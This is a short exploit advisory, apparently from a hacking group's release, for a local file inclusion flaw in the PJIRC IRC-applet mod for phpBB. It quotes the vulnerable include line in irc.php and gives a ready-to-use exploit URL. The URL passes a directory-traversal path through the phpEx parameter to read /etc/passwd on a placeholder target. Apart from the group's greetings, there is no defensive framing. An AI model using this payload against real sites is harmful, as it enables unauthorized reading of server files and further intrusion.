phpBB PJIRC mod LFI

/*
PJIRC mod phpBB Local File Include
Discrovered by: 0in from DaRk-CodeRs Programming & Security Group!
Contact: 0in(dot)email[at]gmail(dot)com
Description: This is a simply irc applet to phpbb.
Download: http://www.hotscripts.pl/produkt-1998.html
HTTP://Dark-Coders.4rh.eu

Greetz to: All DaRk-CodeRs Team Members: die_anglel, m4r1usz, sun8hclf, djlinux, aristo89
*/
$phpEx not defined ;(
Vuln line:
./irc.php:31 include($php_root_path. 'common.' .$phpEx);

Exploit:

http://target.com/[path]/irc.php?phpEx=[LFI]
Ex.
http://target.com/forum/irc/irc.php?phpEx=./../../../../../../etc/passwd

//EoFF